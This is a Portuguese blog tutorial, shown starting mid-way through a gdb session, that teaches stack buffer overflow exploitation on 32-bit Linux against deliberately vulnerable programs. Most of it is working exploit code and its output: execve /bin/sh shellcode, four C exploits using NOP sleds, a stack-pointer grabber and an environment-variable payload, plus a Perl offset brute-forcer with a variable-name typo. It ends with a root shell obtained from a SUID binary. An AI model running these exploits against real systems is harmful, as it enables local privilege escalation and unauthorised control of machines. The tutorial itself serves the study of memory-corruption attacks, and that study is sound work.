0x080483f7 <main+51>:   sub    $0x8,%esp

0x080483fa <main+54>:   mov    0xc(%ebp),%eax

0x080483fd <main+57>:   add    $0x4,%eax

0x08048400 <main+60>:   pushl  (%eax)

0x08048402 <main+62>:   lea    0xfffffef8(%ebp),%eax

0x08048408 <main+68>:   push   %eax

0x08048409 <main+69>:   call   0x80482f0

0x0804840e <main+74>:   add    $0x10,%esp

0x08048411 <main+77>:   sub    $0x8,%esp

0x08048414 <main+80>:   lea    0xfffffef8(%ebp),%eax

0x0804841a <main+86>:   push   %eax

0x0804841b <main+87>:   push   $0x8048506

0x08048420 <main+92>:   call   0x80482d0

0x08048425 <main+97>:   add    $0x10,%esp

0x08048428 <main+100>:  leave

0x08048429 <main+101>:  ret

0x0804842a <main+102>:  nop

End of assembler dump.

(gdb)

—————————————-

Vamos tentar entender alguma coisa dai!

Não e necessário saber Tudo.

Vamos começar nas duas primeiras linhas:

—————————————-

0x080483c4 <main+0>:    push   %ebp

0x080483c5 <main+1>:    mov    %esp,%ebp

—————————————-

Esse e o procedimento inicial de qualquer programa C compilado!

continuando:

—————————————

0x080483c7 <main+3>:    sub    $0x108,%esp

————————————–

Essa instrução subtrai 0x108(264) “ds” posição do stack(Stack Pointer – SP).

Isso serve para declararmos uma posição no stack para uma variável, e essas

coisas.

Podemos observar que existe varias chamadas(calls) para outras partes

da memória… Mais tem um porem na instrução call, você sabe como ela faz

para poder retornar na instrução seguinte?

O que eu quero saber é como o programa sabe em que endereço os “call” foram executados para poder voltar quando terminar de executá-lo!

Simples…

O nome desse endereço, é endereço de retorno(Return Address) e ele ficam armazenados no stack..

Olha que legal!

Então vejamos… Se nos separamos espaço para nossa variável de 256

caracteres e um pouco acima(isso e pilha) separamos um espaço para o

endereço de retorno o que acontece se nos colocarmos mais de 256 caracteres?

Para ficar mais claro veja o esquema?

PILHA

———————————————————————————–

| buffer[256]          | mais alguma coisa | endereco de retorno |

———————————————————————————–

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

|——————————————————————————->

Percebeu que uma hora nés sobrescrevemos o endereco de retorno?

Entao vamos ver isso na pratica 🙂

Vamos imprimir na tela, 272 “AS”, e mandar para nosso programa que está separando 256 bits.

——————————

(gdb) r `perl -e ‘print “A”x272;’`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/newbie/tecnicas/stack_overflow/vuln01 `perl -e ‘print “A”x272;’`

Voce digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb)

——————————

Deu um erro de segmentação!

porque aonde esta 0x41414141?

—————————–

0x41414141 in ?? ()

—————————–

OBS: quando você estiver estudando este tutorial, baixe o programa debuger, e faça os mesmos teste, pois os resultados que estamos pegando está la.

VOLTANDO..

Você pode estar se perguntado o que isso prova. qual e o valor HEX do

caracteres A ? 0x41 ?

o programa tentou apontar para a posição AAAA da memória!

Se ainda não ficou muito claro vamos ver o seguinte:

——————————

(gdb) r `perl -e ‘print “A”x268 . “ABCD”;’`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/newbie/tecnicas/stack_overflow/vuln01 `perl -e ‘print “A”x268 . “ABCD”;’`

Voce digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAABCD

Program received signal SIGSEGV, Segmentation fault.

0x44434241 in ?? ()

(gdb)

—————————–

Agora ele tentou saltar para o endereço 0x44434241 = BCDA.. Uai, mais eu

Não digitei ABCD no final…

Sim amigo… mais se lembra que no stack o ultimo a entrar e o primeiro a sair?

Nesse caso ele empurro(push) o caractere “D” para o ultimo…

Entao ele foi o primeiro a sair(0x44).. Mais com isso nos só conseguimos fazer

um simples ataque DoS no sistema para killar algum programa e isso não nos interessa

muito! Então o que podemos fazer mais?

Como você percebeu… nós conseguimos alterar para onde o programa saltará.

Então porque não fazemos ele saltar para uma posição da memória que tenha um código

que realmente de para executar?

ta começando a clarear?

Nós podemos executar qualquer código dentro do sistema!

Agora entra um outro assunto mais antes vamos pegar um valor importante para nosso exploit inicial:

a posição da stack(Stack Pointer ou ESP) para fazer nosso exploit inicial. Veremos

que podemos usar um artifício para não precisar de saber esse valor mais inicialmente

é bom saber-mos:

————————

(gdb) info reg esp

esp            0xbffff420       0xbffff420

(gdb)

———————–

Agora vamos ao outro assunto que eu disse agora pouco!

————————————————————————————————–

Programas SUID

Programas SUID são programa que tem o bit mais ativado(chmod +s vuln01)

isso faz com que ele seja executado com as permissões  do super usuário(root)..

mais você fica limitado só a esse programa… não adianta tentar colocar ele

em background e digitar ‘id’ esperando um uid=0(root) que você  vai se decepcionar!

Aí, que nos entramos…

Se esse programa estiver vulnerável a overflow nós podemos

executar algum código dentro dele… então  nós so precisamos de executar um

/bin/sh para abrir uma shell como root… já que o programa que executo ele está

rodando com as permissões do root!

Qual código colocar na memória?

O código que deveremos colocar na memória se chama shellcode(código

de shell)… só  q ele deve ser escrito em linguagem de maquina para ser executado!

Veja o post que eu disponibilizo um livro de shellcodes em português. Logo, baixe o livro e estude. O shellcode que nos executaremos e o seguinte:

————————————-

char shellcode[] = “\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”                                   “\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”

“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

————————————

Se você assustou, então faça o que eu disse o livro, que você vai entender como criar uma shell.

O que você precisa de saber de ante mão e que esse código  faz o mesmo que:

execl(“/bin/sh”,”/bin/sh”,0);

Só que em linguagem de maquina!

Escrevendo o Exploit

Para, aprender a criar um exploit. Veja em um de meus posts que eu estou disponilizando um livro traduzido do metasploit.

Agora que temos a shell,  vem a parte mais legal de tudo…

Vamos fazer um programa que explora esse nosso programa fazendo ele executar o nosso shellcode!

O que nos faremos e o seguinte:

Encheremos uma variável com nosso shellcode e com o endereço dele de uma

maneira que esse endereço fique corretamente sobre o endereço de retorno da seguinte

forma:

+—————————-+——————————+———————–

| buffer[256]                 |      mais alguma cosia  |         retorno       |

+————————— +——————————+———————–

| CCCCCCCCCCCCCCCRRRRRRRRRRRRRRRRRRRRRRRRRRRRR|

onde:

C = Nosso shellcode

R = Novo endereço de retorno

O grande problema(agora) é saber para onde apontar já que ele deve apontar

corretamente no inicio do nosso shellcode… então nós teremos que fazer o endereço

de retorno apontar para a posição da pilha(ESP) já que nosso shellcode ficara lá  e

em seguida ficar chutando variações(offsets) para tentar fazer ele cair certinho aonde

queremos! Segue o código do exploit bem comentado:

+++++++++++++++++ 1_xpl.c +++++++++++++++++++++

/*

Exploit para o primeiro exemplo de programa bugado a stack overflow

Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial

*/

#define TAM    272              // Tamanho do nosso buffer até ele sobrescrever o ret

#define ESP     0xbffff420   // Posição da pinha que nos pegamos usando o GDB

//  Vamos declarar nosso shellcode

char shellcode[] =

“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”

“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”

“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

int main(int argc, char *argv[]) {

char buffer[TAM];

long addr;  // Para armazenar o endereço do shellcode

int i;

// Armazenamos o valor do endereço  de buffer

addr = ESP;

// Possibilitamos alterar o endereço de retorno para chutar variações(offsets)

if (argc > 1) addr += atoi(argv[1]);

printf(“Novo endereço: 0x%08x\n”, addr);

// Enchemos o buffer com o esp + offset(q se tivermos sorte será aonde está nosso shellcode)

for (i = 0; i < TAM; i += 4)

*(long *)&buffer[i] = addr;

// Agora colocamos o shellcode no inicio dele

memcpy(buffer, shellcode, strlen(shellcode));

// E executamos vuln01 passando nosso buffer maligno como parâmetro

execl(“./vuln01”, “vuln01”, buffer, 0);

}

++++++++++++++++++++++++++++++++++++++++++

Agora vamos ao teste:

———————————————

newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 1_xpl.c -o 1_xpl

newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl

Novo endereço: 0xbffff420

Você digitou: ë^1ÀFF

(um monte de trosso estranho)

Falha de segmentação

newbie@hostnotfound:~/técnicas/stack_overflow$

———————————————

Vimos que não deu de cara o inicio já que nosso shellcode não esta no inicio do stack

Então  só nos resta ficar chutando offsets de 1 em 1:

——————————————

newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl 1

Novo endereco: 0xbffff421

Você digitou: ë^1ÀFF

Instrução ilegal

newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl 2

Novo endereco: 0xbffff422

Você digitou: ë^1ÀFF

Falha de segmentação

newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl 3

Novo endereço: 0xbffff423

Instrução ilegal

newbie@hostnotfound:~/técnicas/stack_overflow$

——————————————

Isso e trabalhoso, né ? Logo, a função de nós(fucadores) e agilizar nosso trabalho.

Faça o seguinte script em perl:

++++++++++++ exec.pl +++++++++++++++

#!/usr/bin/perl

############################################

# Script[zinhu] para agilizar o chute dos offsets em uso nos exploits    #

# Feito por chuck_newbie – chuck_newbie@hotmail.com                      #

# use: perl exec.pl [programa] [offset inicial] [offset final] [variacao]  #

############################################

$prog=$ARGV[0];

$offset_ini=$ARGV[1];

$offset_fim=$ARGV[2];

$offset_int=$ARGV[3];

for ($i = $offset_ini; $i < $off_set_fim; $i += $offset_int) {

printf “Offset: ” . $offset_ini + $i . “\n”;

system(“./$prog $i”);

}

++++++++++++++++++++++++++++++++

Agora vamos testá-lo:

——————————————–

newbie@hostnotfound:~/tecnicas/stack_overflow$ perl exec.pl 1_xpl 1 1000 1

blablablablalba

blablablablablablabla

blablablablablabla

( e depois de varios offsets )

417

Novo endereco: 0xbffff5c1

Você digitou: ë^1ÀFF

sh-2.05b$

——————————————

Executamos o /bin/sh.

Mais percebeu que foi usado o offset 417 ?

Se tivesse que fazer isso na mão quando você acertasse seu filho já conheceria essa

Técnica(supondo que você ainda não tenha nenhum)! Então vamos melhorar nosso

exploit consideravelmente usando um artifício muito bom e utilizado!

Utilizando NOP – No Operation

Um NOP e um comando em ASM que significa No Operation.. ou seja.. ele faz

uma coisa muito importante..NADA!!

O que nós poderíamos fazer é o seguinte:

– Encher nosso buffer com NOPs e depois com nosso shellcode. Isso porque se o

Endereço de retorno cair em algum NOP então ele e executado corretamente

e em seguida passa para o próximo e assim vai ate chegar ao destino?

isso!!!

No nosso querido e amado shellcode! Então nos temos que fazer nosso buffer da seguinte forma!

+—————————-+——————————+———————–

| buffer[256]                 |      mais alguma cosia  |         retorno       |

+————————— +——————————+———————–

| NNNNNNNNNNNCCCCCCCCCCCCCCCRRRRRRRRRRRRRRRRR|

Onde:

N = NOP = 0x90(linguagem de maquina)

C = ShellCode

R = Endereço que sobrescrevera o endereço de retorno

Se você já entendeu vamos parar de falar e vamos ao código… agora, si você não entendeu leia de novo:

+++++++++++++++++ 2_xpl.c +++++++++++++++++++++

/*

Segundo exploit para o primeiro exemplo de programa bugado a stack overflow

Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial

*/

#define TAM    272

#define ESP     0xbffff420

#define NOP   0x90

//  Vamos declarar nosso shellcode

char shellcode[] =

“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”

“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”

“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

int main(int argc, char *argv[]) {

char buffer[TAM];

long addr;  // Para armazenar o endereço do shellcode

int i;

// Armazenamos o valor do endereço de buffer

addr = ESP;

// Possibilitamos alterar o endereço de retorno para chutar variações(offsets)

if (argc > 1) addr += atoi(argv[1]);

printf(“Novo endereço: 0x%08x\n”, addr);

// Enchemos o buffer com o esp(que pressupomos que e onde esta o shellcode)

for (i = 0; i < TAM; i += 4) {

*(long *)&buffer[i] = addr;

}

// Vamos encher uma parte do buffer com nossos NOPs

for (i = 0; i < TAM – strlen(shellcode) – 24; i++)

buffer[i] = NOP;

printf (“Colocado %d NOPs\n”, TAM – strlen(shellcode) – 24);

// Agora colocamos o shellcode depois dos nops

memcpy(buffer + i, shellcode, strlen(shellcode));

// E executamos vuln01 passando nosso buffer maligno como parâmetro

execl(“./vuln01”, “vuln01”, buffer, 0);

}

++++++++++++++++++++++++++++++++++++++++++

Agora executando:

————————————

newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 2_xpl.c -o 2_xpl

newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl

Novo endereco: 0xbffff420

Colocado 203 NOPs

Você digitou: ë^1ÀFF

(lixo)

Falha de segmentação

newbie@hostnotfound:~/técnicas/stack_overflow$

———————————–

Ainda não… Mais isso era de se esperar.

Mais ele nos deu uma informação importante… Ele nos disse que tem 203 NOPs…

Isso nos possibilita chutar offsets variando de 203 em 203.

Bem melhor do que de um em um.

Vamos tentar na unha mesmo!

———————————-

newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl 200

Novo endereco: 0xbffff4e8

Colocado 203 NOPs

Você digitou: ë^1ÀFF

Instrução ilegal

newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl 400

Novo endereco: 0xbffff5b0

Colocado 203 NOPs

Você digitou: ë^1ÀFF

Falha de segmentação

newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl 600

Novo endereço: 0xbffff678

Colocado 203 NOPs

Você digitou: ë^1ÀFF

sh-2.05b$ exit

exit

———————————–

Conseguimos com apenas três chutes nos conseguimos fazer o endereço de

retorno apontar para nosso shellcode(pelo menos para um dos 203 NOPs 😀 )!

Vamos agora a mais um passo para facilitar a nossa vida!

Fazendo o exploit pegar o ESP

Um dos maiores problemas de escrever exploits e que as posições de memória

variam de compilação a compilação, de sistema a sistema e de execução a

execuçao! Isso quer dizer que se você fizer um exploit para sua maquina talvez ele não

funfe em outra, porque o endereço do ESP pode ter mudado drasticamente!

Mais graças a Deus podemos usar um artifício para conseguirmos pegar o nosso

Tão querido ESP dentro do nosso exploit… não entrarei em detalhes! Só teste o

seguinte:

+++++++++++ pega_esp.c ++++++++++++++++

unsigned long pega_esp(void) {

__asm__(“movl %ESP, %EAX”);

}

void main() {

printf (“Abracadabra..\nAlacasan…\nE nosso ESP e 0x%08x!\nTchanranram!!!\n\n”,pega_esp());

}

++++++++++++++++++++++++++++++++++

Nossa função pega_esp() só move o vamos do ESP para o registrador EAX que

“por coincidência” e o valor do resultado das funções! Agora compile e execute:

———————————————

newbie@hostnotfound:~/técnicas/stack_overflow$ gcc pega_esp.c -o pega_esp

pega_esp.c: In function `main’:

pega_esp.c:5: warning: return type of `main’ is not `int’

newbie@hostnotfound:~/técnicas/stack_overflow$ ./pega_esp

Abracadabra..

Alacasan…

E nosso ESP e 0xbffff518!

Tchanranram!!!

newbie@hostnotfound:~/técnicas/stack_overflow$

———————————————

Ai esta nosso ESP!!

Agora vamos deixar em embromação e vamos a

escrita de nosso shellcode mais aperfeiçoado ainda:

+++++++++++++++ 3_xpl.c ++++++++++++++++++++++++

/*

Terceiro exploit para o primeiro exemplo de programa bugado a stack overflow

Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial

*/

#define TAM    272

#define NOP   0x90

// Nossa função[zinha] que pega o valor do nosso ESP

unsigned long pega_esp(void) {

__asm__(“movl %ESP, %EAX”);

}

//  Vamos declarar nosso shellcode

char shellcode[] =

“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”

“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”

“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

int main(int argc, char *argv[]) {

char buffer[TAM];

long addr;  // Para armazenar o endereço do shellcode

int i;

// Armazenamos o valor do endereço de buffer

addr = pega_esp();

// Possibilitamos alterar o endereco de retorno para chutar variações(offsets)

if (argc > 1) addr += atoi(argv[1]);

printf(“Novo endereco: 0x%08x\n”, addr);

// Enchemos o buffer com o esp(que pressupomos que e onde esta o shellcode)

for (i = 0; i < TAM; i += 4) {

*(long *)&buffer[i] = addr;

}

// Vamos encher uma parte do buffer com nossos NOPs

for (i = 0; i < TAM – strlen(shellcode) – 24; i++)

buffer[i] = NOP;

printf (“Colocado %d NOPs\n”, TAM – strlen(shellcode) – 24);

// Agora colocamos o shellcode depois dos nops

memcpy(buffer + i, shellcode, strlen(shellcode));

// E executamos vuln01 passando nosso buffer maligno como parâmetro

execl(“./vuln01”, “vuln01”, buffer, 0);

}

+++++++++++++++++++++++++++++++++++++++++

Da para perceber que a única diferença e que trocamos o valor de ESP que tínhamos

antes pelo valor que acabamos de pegar! Isso facilita para rodar os xpl’s em outros

sistemas! A execução será  a mesmo:

———————————-

newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 3_xpl.c -o 3_xpl

newbie@hostnotfound:~/técnicas/stack_overflow$ ./3_xpl 600

Novo endereco: 0xbffff650

Colocado 203 NOPs

Você digitou: ë^1ÀFF

(alguns lixo da memória)

sh-2.05b$ exit

exit

———————————-

Espero amigo que esse entendimento tenha ficado bem claro para voce!

Si você quer estudar mais sobre exploração. Então veja os outros posts no meu blog, pois eu tenho 4 lindos livros(metasploit, buffer overflow, shellcode, arquitetura, assembly).

Entre no meu blog e confira as novidades, e veja os posts sobre os livros. Mas, por favor: so baixe o livro si você for realmente estudar. Si não for, não baixe.

Agora, vamos ao mais um obstáculo para nossos estudos. Veja o nosso segundo programa bugado abaixo:

+++++++++++++++++ vuln02.c ++++++++++++++++++++

#include <stdio.h>

int main(int argc, char *argv[]) {

char buffer[8];

if (argc < 2) {

printf (“Use: %s <string>\n”, argv[0]);

exit(0);

}

strcpy(buffer, argv[1]);

printf (“Você digitou: %s\n”, buffer);

}

+++++++++++++++++++++++++++++++++++++++++++

Repare que ele esta vulneravel da mesma forma que o anterior… Só que tem um

grande problema! O buffer só tem 16 bytes e não caberá nem NOPs nem o ShellCode

dentro dele porque o próprio shellcode sobrescrevera o endereço de retorno!

Mais podemos ver perfeitamente que ele esta vulnerável:

————————————-

newbie@hostnotfound:~/técnicas/stack_overflow$ gcc vuln02.c -o vuln02

newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln02

Use: ./vuln02 <string>

newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln02 chuck_newbie

Você digitou: chuck_newbie

newbie@hostnotfound:~/técnicas/stack_overflow$ ./vuln02 `perl -e ‘print “A”x30;’`

Você digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Falha de segmentação

newbie@hostnotfound:~/técnicas/stack_overflow$ ulimit -c 1234567

newbie@hostnotfound:~/técnicas/stack_overflow$ ./vuln02 `perl -e ‘print “A”x29 . “BCDE”;’`

Você digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE

Falha de segmentação (core dumped)

newbie@hostnotfound:~/tecnicas/stack_overflow$ gdb -c core

GNU gdb 6.0

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB.  Type “show warranty” for details.

This GDB was configured as “i486-slackware-linux”.

Core was generated by `./vuln02 AAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE’.

Program terminated with signal 11, Segmentation fault.

#0  0x44434241 in ?? ()

(gdb)

———————————

Podemos ver perfeitamente que nos podemos sobrescrever o endereço de retorno

do programa vulnerável para apontar para outro lugar! Mais não podemos colocar

nosso shellcode com nossos nops nessa variável porque não caberia… Mais eu nunca

disse que eles precisam estar nessa variável! E só colocar ele em qualquer outro

lugar da memória e fazer ele apontar para lá! Um bom lugar seria as variáveis de

ambiente porque elas(quando declaradas no nosso programa) vão para o topo to stack!

Então nosso exploit só precisa de setar uma variável  de ambiente com nossos

NOPs e nosso shellcode e fazer o programa bugado apontar para lá, que no caso seria

mais perto to topo do stack do que no exemplo anterior!

Então vamos ao exploit:

++++++++++++++++++++ 1_2_xpl.c +++++++++++++++++++

/*

Exploit para o segundo programa bugado a stack overflow

com um buffer muito pequeno! Desenvolvedor por Chuck_NewBie

chuck_newbie@hotmail.com

*/

#include <stdio.h>

#define ENV_LEN             4096 // Pode ser bem grande q naum tem problema

#define BUF_LEN              32

#define NOP                     0x90

unsigned long pega_esp(void) {

__asm__(“movl %esp, %eax”);

}

char shellcode[] =

“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”

“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”

“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

int main(int argc, char *argv[]) {

char *buffer, *var_amb;

int i;

long new_ret;

// Pegamos a posição do stack e adicionamos offsets se desejado

new_ret = pega_esp();

if (argc > 1) new_ret += atoi(argv[1]); // Adiciona offset

// Alocamos espaco para a variável buffer e enchemos soh o o novo endereco

buffer = malloc(BUF_LEN);

if (buffer == NULL) {

fprintf (stderr, “Erro ao alocar memória para o buffer!\n”);

exit(-1);

}

for (i = 0; i <BUF_LEN; i += 4)

*(long *)&buffer[i] = new_ret;

// Agora que o buffer jah ta feito precisamos de criar nossa varaivel de ambiente!

var_amb = malloc(ENV_LEN);

if (var_amb == NULL) {

fprintf (stderr, “Erro ao alocar memória para ambiente!\n”);

exit(-1);

}

// Agora colocas um monte de nops no inicio dela

for (i = 0; i < ENV_LEN – strlen(shellcode) – 1; i++) // -1 porque tem q ter o NULL Char no final

var_amb[i] = NOP;

memcpy(var_amb + i, shellcode, strlen(shellcode)); // Colocamos nosso shellcode logo depois dos nops

var_amb[ENV_LEN] = 0;                                             // Colocamos o NULL Char

setenv(“B4D_R37”, var_amb, 1);                                 // Setamos a varaivel com nome B4D_R37

execl(“./vuln02”, “vuln02”, buffer, 0);                        // Executamos o programa vulneravel

}

++++++++++++++++++++++++++++++++++++++++++

Não direi nada a respeito do código porque creio eu que ele já esteja bem comentado!

Vamos aos testes:

——————————————————–

newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 1_2_xpl.c -o 1_2_xpl

1_2_xpl.c: In function `main’:

1_2_xpl.c:27: warning: assignment makes pointer from integer without a cast

1_2_xpl.c:37: warning: assignment makes pointer from integer without a cast

newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_2_xpl

Você digitou: ▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿

sh-2.05b$ exit

exit

newbie@hostnotfound:~/tecnicas/stack_overflow$

——————————————————

VIVA! Conseguimos de PRIMEIRA! Sem chute de offsets nem nada disso

Endendendo o esquema do SUID

Só pra ficar mais claro agora!

———————————————

newbie@hostnotfound:~/técnicas/stack_overflow$ su

Password:

root@hostnotfound:/home/newbie/tecnicas/stack_overflow# chown root.root vuln02

root@hostnotfound:/home/newbie/tecnicas/stack_overflow# chmod 4755 vuln02

root@hostnotfound:/home/newbie/técnicas/stack_overflow# exit

exit

newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_2_xpl

Você digitou: ▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿

sh-2.05b$ id

uid=0(root) gid=0(root)

sh-2.05b$

———————————————

Este tutorial é bem explicativo para aquelas pessoas que ainda estão começando.

Aqueles que não entenderem este tutorial, aconselho a lerem os livros que eu traduzi em português.